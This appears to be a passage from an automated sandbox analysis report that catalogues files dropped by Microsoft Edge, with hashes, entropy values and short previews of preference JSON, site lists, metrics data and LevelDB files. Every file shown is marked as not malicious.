                                                                                                                                                                          Preview:{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):60154
                                                                                                                                                                          Entropy (8bit):6.102025412095239
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:1536:2Mk1rT8HDnXfCBS2qX7bW43ongorQXdbik:2MYrT8jPkS20hDXdbr
                                                                                                                                                                          MD5:BB8990B8B5EAB93EC034B4534B4CC1BE
                                                                                                                                                                          SHA1:A3CCCF7F9931AC3990452B4E7C32AF4AB93E8E0A
                                                                                                                                                                          SHA-256:6AB226FA915EF6A379ECD4ED95BB964D576AD57FF9D2AFDF58BB8110CAB57442
                                                                                                                                                                          SHA-512:C44A89684FA0CDC84A1CE030385BE181666C18E1F72600256E2522C115594D356689A40FD8538078702B8D6D225B20849AD5A01EBF98C2133CE871FE237586F3
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734939605"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):107893
                                                                                                                                                                          Entropy (8bit):4.640159935562401
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7p:fwUQC5VwBIiElEd2K57P7p
                                                                                                                                                                          MD5:D50EDBCB24807CB644253C4476148A1B
                                                                                                                                                                          SHA1:CBA3D7B6C0134871E694EDEDD4430947482F654B
                                                                                                                                                                          SHA-256:F75AF9BFFA927D76B4E0FB3C973C20D43CBFCA892BFA38F25AC03E89F4B35F68
                                                                                                                                                                          SHA-512:B9E401E8831BEF324C55897C404C009CA6CF602366226322330454B03912660591458ED03EB9C59D5C7F56C406239E6195F2382A65DE1E28B334E49E9CEF12F2
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):107893
                                                                                                                                                                          Entropy (8bit):4.640159935562401
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7p:fwUQC5VwBIiElEd2K57P7p
                                                                                                                                                                          MD5:D50EDBCB24807CB644253C4476148A1B
                                                                                                                                                                          SHA1:CBA3D7B6C0134871E694EDEDD4430947482F654B
                                                                                                                                                                          SHA-256:F75AF9BFFA927D76B4E0FB3C973C20D43CBFCA892BFA38F25AC03E89F4B35F68
                                                                                                                                                                          SHA-512:B9E401E8831BEF324C55897C404C009CA6CF602366226322330454B03912660591458ED03EB9C59D5C7F56C406239E6195F2382A65DE1E28B334E49E9CEF12F2
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):4194304
                                                                                                                                                                          Entropy (8bit):0.0
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3::
                                                                                                                                                                          MD5:B5CFA9D6C8FEBD618F91AC2843D50A1C
                                                                                                                                                                          SHA1:2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
                                                                                                                                                                          SHA-256:BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
                                                                                                                                                                          SHA-512:BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):4194304
                                                                                                                                                                          Entropy (8bit):0.0
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3::
                                                                                                                                                                          MD5:B5CFA9D6C8FEBD618F91AC2843D50A1C
                                                                                                                                                                          SHA1:2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
                                                                                                                                                                          SHA-256:BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
                                                                                                                                                                          SHA-512:BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):4194304
                                                                                                                                                                          Entropy (8bit):0.04765854180964423
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:192:Kle0m5tmgnOAWJYBJPi6VBK/7+G1gsX9vYCIO5EvjBzhc5N9Mf+RQ9ab5SDREXns:me0UtbZ8qmAu6hMimYlK08T2RGOD
                                                                                                                                                                          MD5:BDB8067D4B8DB037D2F44315FF72B8C0
                                                                                                                                                                          SHA1:ACC176E71CC288F450EBD4D5410D1B5099667E78
                                                                                                                                                                          SHA-256:B8930D6ABC5AE728231969CE365CF71BAE1D42BD9BC8793BD44A28891B3B3E07
                                                                                                                                                                          SHA-512:2A83449C24AB4831AB59F5503E95E05AD6558245582CA208CAFEEE1B52B23D2BDBA3A27B0DEF1711E3CE27F4242A7118BA8CE3521D7B22E71B3F8AB3F20B8141
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:...@..@...@.....C.].....@............... k...Z..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB*...Windows NT..10.0.190452l..x86_64..?.......".svhegg20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............%..................-...w..U.>.........."....."...24.."."93dRcxCw0cDlBQeAYE33nFACeirrSGEv1FXdrR8ueYg="*.:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....Mb.XiP@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2..........I...... .`2..........~...... .2
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):4194304
                                                                                                                                                                          Entropy (8bit):0.38286284865040704
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3072:En02dJTMzANk8u9W2hoFnIjWxhUEQqxKGxRWOM7ig1HFJk:D2duEk8o6FnI8hhQqkKWOWiaH
                                                                                                                                                                          MD5:35C48056BE98B01CA06CA2EB60CD55FD
                                                                                                                                                                          SHA1:7C540D19A9B4D4AE8657ABABA1B271F980EADD99
                                                                                                                                                                          SHA-256:5BF1190A4BB344B4D88BDE9F420B5E5D13E03693C813813719ADDE3BBE73663D
                                                                                                                                                                          SHA-512:EE38252BA18A429A074F9E225A8E6143127DDF551877AC98F0DA5421AC109C5C634A191FDB7A5B2987FAD1689D9AEE3B8C02794700ED923A44E9C98B5DF713D8
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:...@..@...@.....C.].....@................\...[..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB*...Windows NT..10.0.190452l..x86_64..?.......".svhegg20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............%..................-...w..U?:K..>.........."....."...24.."."93dRcxCw0cDlBQeAYE33nFACeirrSGEv1FXdrR8ueYg="*.:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....Mb.XiP@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2..........~....
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):280
                                                                                                                                                                          Entropy (8bit):4.1326399824826066
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:FiWWltlT0EiCjG2xo6kMWPGdV8B+BVP/Sh/JzvXEAAG34tTAUFVHTtOllt:o1AGGwwMWj+BVsJDkG3V80/
                                                                                                                                                                          MD5:DB0B5F32DD6A247AE52AF2E9280D22D6
                                                                                                                                                                          SHA1:DF845EBCFC1E637F3A8674D6F24D1206637C358A
                                                                                                                                                                          SHA-256:20F50A96662CC19C9EA2D5C00F8FEECC0FFBD4B6290102C46CB7BB8B1B9CBFAE
                                                                                                                                                                          SHA-512:87962BBB3C6F8B5AE66B669B2B24C772E7CBA73C9AF57F57BF05657B5FDADB53B6DDD84914D4C465241591B26F07C61E358AC77A5E35281AE0EBFA13FA2EF14D
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:sdPC.......................c.CsJ......5"93dRcxCw0cDlBQeAYE33nFACeirrSGEv1FXdrR8ueYg="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................e9a6470b-82e9-4451-b995-4e1980b580b6............
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text, with very long lines (1597), with CRLF line terminators
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):115717
                                                                                                                                                                          Entropy (8bit):5.183660917461099
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
                                                                                                                                                                          MD5:3D8183370B5E2A9D11D43EBEF474B305
                                                                                                                                                                          SHA1:155AB0A46E019E834FA556F3D818399BFF02162B
                                                                                                                                                                          SHA-256:6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
                                                                                                                                                                          SHA-512:B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:very short file (no magic)
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1
                                                                                                                                                                          Entropy (8bit):0.0
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:L:L
                                                                                                                                                                          MD5:5058F1AF8388633F609CADB75A75DC9D
                                                                                                                                                                          SHA1:3A52CE780950D4D969792A2559CD519D7EE8C727
                                                                                                                                                                          SHA-256:CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
                                                                                                                                                                          SHA-512:0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:.
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):12587
                                                                                                                                                                          Entropy (8bit):5.269003441412365
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:192:stFCJ99QTryDigabatSuypsZbIJZN1eTAk9sS3oC88bV+FiAfn9H+PQYJ:stQPGKSuasZbiZNg3bGiOS
                                                                                                                                                                          MD5:045E6EE5236406284BD0399381C8F6FF
                                                                                                                                                                          SHA1:37DD78BEB551E03FCFE07C1B7C48942B4491C6EC
                                                                                                                                                                          SHA-256:2DD093AD714F237A48B7F60749BBD98F7049B4B77DF382F473AF499922F00168
                                                                                                                                                                          SHA-512:51B721EA3FE2700B86745B385A0CFEFC269AF77D583675D1541ADF9E5F4F6DA82CF7543CB459915CBC06CBE3323E974EC9B69A10E7D96FD097E584D4353C1FE4
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379413200171462","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340970644573687","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):24853
                                                                                                                                                                          Entropy (8bit):5.565153664369704
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:768:h9tOm9WP0qffny8F1+UoAYDCx9Tuqh0VfUC9xbog/OVpYQxGrwJpttuLa:h9tOm9WP0qffnyu1jagvxDttp
                                                                                                                                                                          MD5:F1CC119F1D79C4C7786789EC1A10533A
                                                                                                                                                                          SHA1:11B8D5FE234730FF64285FD98A7B4FF0C1A96103
                                                                                                                                                                          SHA-256:637E26D45604446DC64BBA6D6709297C7EBD9D90113CEFC98FC4E4D1F4836CEE
                                                                                                                                                                          SHA-512:4ED2C8ED6569EBF0BA2BD47E1AE8DD15C455B9B1F75BF872E79FC03B350A42677E652ADC289F3C66943FCD48BE2AEEB7940C32CCED1BDE7CE8C59917BA287364
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379413199515531","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379413199515531","location":5,"ma
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):16
                                                                                                                                                                          Entropy (8bit):3.2743974703476995
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:1sjgWIV//Uv:1qIFUv
                                                                                                                                                                          MD5:46295CAC801E5D4857D09837238A6394
                                                                                                                                                                          SHA1:44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
                                                                                                                                                                          SHA-256:0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
                                                                                                                                                                          SHA-512:8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:MANIFEST-000001.
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):33
                                                                                                                                                                          Entropy (8bit):3.5394429593752084
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:iWstvhYNrkUn:iptAd
                                                                                                                                                                          MD5:F27314DD366903BBC6141EAE524B0FDE
                                                                                                                                                                          SHA1:4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
                                                                                                                                                                          SHA-256:68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
                                                                                                                                                                          SHA-512:07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:...m.................DB_VERSION.1
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):16
                                                                                                                                                                          Entropy (8bit):3.2743974703476995
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:1sjgWIV//Uv:1qIFUv
                                                                                                                                                                          MD5:46295CAC801E5D4857D09837238A6394
                                                                                                                                                                          SHA1:44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
                                                                                                                                                                          SHA-256:0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
                                                                                                                                                                          SHA-512:8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:MANIFEST-000001.
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):303
                                                                                                                                                                          Entropy (8bit):5.228842332358606
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:6:EevY0RM1qLTwi23oH+Tcwtp3hBtB2KLlS0q2PqLTwi23oH+Tcwtp3hBWsIFUv:EDolwZYebp3dFL80v8wZYebp3eFUv
                                                                                                                                                                          MD5:151568F2BEE0BA24C5BA430A3C1333DC
                                                                                                                                                                          SHA1:1D29DEB16DA06E5B74BB297E3F81E88D310217C6
                                                                                                                                                                          SHA-256:730AEB0EF03DBCE2A89C6CEFDD341D6071906038F6A403BEED67FB8CCFFEFEE3
                                                                                                                                                                          SHA-512:8B9F9CCBACA0FC1D72E91FA7AE9814CEE5E7AD59B63D080D1313D71F8520189F584D15052E5D27EB2E5E6B090F2D62272FE558895B6A76D011378EBEC1429316
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:2024/12/23-02:40:06.340 d74 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/12/23-02:40:06.395 d74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:OpenPGP Secret Key
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):41
                                                                                                                                                                          Entropy (8bit):4.704993772857998
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:3:scoBAIxQRDKIVjn:scoBY7jn
                                                                                                                                                                          MD5:5AF87DFD673BA2115E2FCF5CFDB727AB
                                                                                                                                                                          SHA1:D5B5BBF396DC291274584EF71F444F420B6056F1
                                                                                                                                                                          SHA-256:F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
                                                                                                                                                                          SHA-512:DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:.|.."....leveldb.BytewiseComparator......
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:data
                                                                                                                                                                          Category:modified
                                                                                                                                                                          Size (bytes):1696115
                                                                                                                                                                          Entropy (8bit):5.04060439716996
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24576:7+f76gGkISshcFdmcOAoPENUpifYP+MbI2T:7+fgAmmE
                                                                                                                                                                          MD5:CA9AC16C9C81074658579152B16FDAFD
                                                                                                                                                                          SHA1:4BF75A6A7FEB9E50001727C05C82EE759FBEBC39
                                                                                                                                                                          SHA-256:EAEDDB055AD33C89060953F7559AD4092C94B2052A9AA5D60D3F9BDFB72F5532
                                                                                                                                                                          SHA-512:8A377A8A17D54261388BEA8DF99222C5D4CE02269DB343ED93794B20ACBB68A9455963654733E36C9D1100FA2E8D93F3C3E7D6FA08F819C2233B6EFC39CE7D77
                                                                                                                                                                          Malicious:false
